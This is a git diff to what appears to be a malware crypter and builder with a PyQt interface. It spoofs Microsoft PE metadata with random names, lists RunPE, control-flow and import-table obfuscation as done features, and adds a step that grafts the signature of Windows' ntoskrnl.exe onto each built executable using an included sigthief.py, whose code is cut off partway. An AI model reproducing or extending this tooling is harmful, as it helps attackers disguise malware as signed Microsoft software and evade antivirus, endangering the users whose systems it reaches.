diff --git a/DllExecutor.rc b/DllExecutor.rc index c36b4af..1fea2aa 100644 --- a/DllExecutor.rc +++ b/DllExecutor.rc @@ -68,12 +68,12 @@ BEGIN BLOCK "040c04b0" BEGIN VALUE "CompanyName", "Microsoft" - VALUE "FileDescription", "jdsuughxufchunsialxn" + VALUE "FileDescription", "qvxogvnpqxmjnhjylnrz" VALUE "FileVersion", "1.0.0.1" - VALUE "InternalName", "vrkfgkl.exe" + VALUE "InternalName", "xmunjmp.exe" VALUE "LegalCopyright", "Copyright (C) 2023" - VALUE "OriginalFilename", "igjrjdp.exe" - VALUE "ProductName", "vpdbkij.exe" + VALUE "OriginalFilename", "qqohwcv.exe" + VALUE "ProductName", "zwmwzkm.exe" VALUE "ProductVersion", "1.0.0.1" END END diff --git a/config.h b/config.h index b1b13b6..afb0f83 100644 --- a/config.h +++ b/config.h @@ -1,2 +1,2 @@ #pragma once -#define KEY "qffjydbdhrk" \ No newline at end of file +#define KEY "gepjfipejnw" \ No newline at end of file diff --git a/gui.py b/gui.py index 9ff8a85..fb2bb11 100644 --- a/gui.py +++ b/gui.py @@ -14,7 +14,7 @@ TODO : - Good Section sizes - Add resources - Random Windows API calls (help) - - Code signing (optional) + - Code signing Done : - RunPE @@ -22,6 +22,7 @@ Done : - Control flow - IAT obfuscation (adding "normal" imports in addition to the others) - Change PE metadata (company, description, etc...) + - File icon """ from PyQt5 import QtCore, QtGui, QtWidgets @@ -196,7 +197,7 @@ class Ui_mainWindow(object): if return_code : self.label_2.setText("build failed.") - QCoreApplication.processEvents() + QCoreApplication.processEvents() # Cleaning up.. os.remove("main.cpp") @@ -205,6 +206,21 @@ class Ui_mainWindow(object): if not return_code : self.label_2.setText(f"--> {out_filename}") QCoreApplication.processEvents() + else : + return + + self.label_2.setText("Signing the file...") + QCoreApplication.processEvents() + + windir = os.getenv("WINDIR") + cmd = f'python sigthief.py -i "{windir}\\System32\\ntoskrnl.exe" -t {out_filename} -o {out_filename.replace(".exe","")+"_signed"}.exe' + os.system(cmd) + + os.remove(out_filename) + os.rename(out_filename.replace(".exe","")+"_signed.exe", out_filename) + + self.label_2.setText("done.") + QCoreApplication.processEvents() def fileDialog(self): options = QtWidgets.QFileDialog.Options() diff --git a/sigthief.py b/sigthief.py new file mode 100644 index 0000000..3199711 --- /dev/null +++ b/sigthief.py @@ -0,0 +1,268 @@ +#!/usr/bin/env python3 +# LICENSE: BSD-3 +# Copyright: Josh Pitts @midnite_runr + +import sys +import struct +import shutil +import io +from optparse import OptionParser + + +def gather_file_info_win(binary): + """ + Borrowed from BDF... + I could just skip to certLOC... *shrug* + """ + flItms = {} + binary = open(binary, 'rb') + binary.seek(int('3C', 16)) + flItms['buffer'] = 0 + flItms['JMPtoCodeAddress'] = 0 + flItms['dis_frm_pehdrs_sectble'] = 248 + flItms['pe_header_location'] = struct.unpack('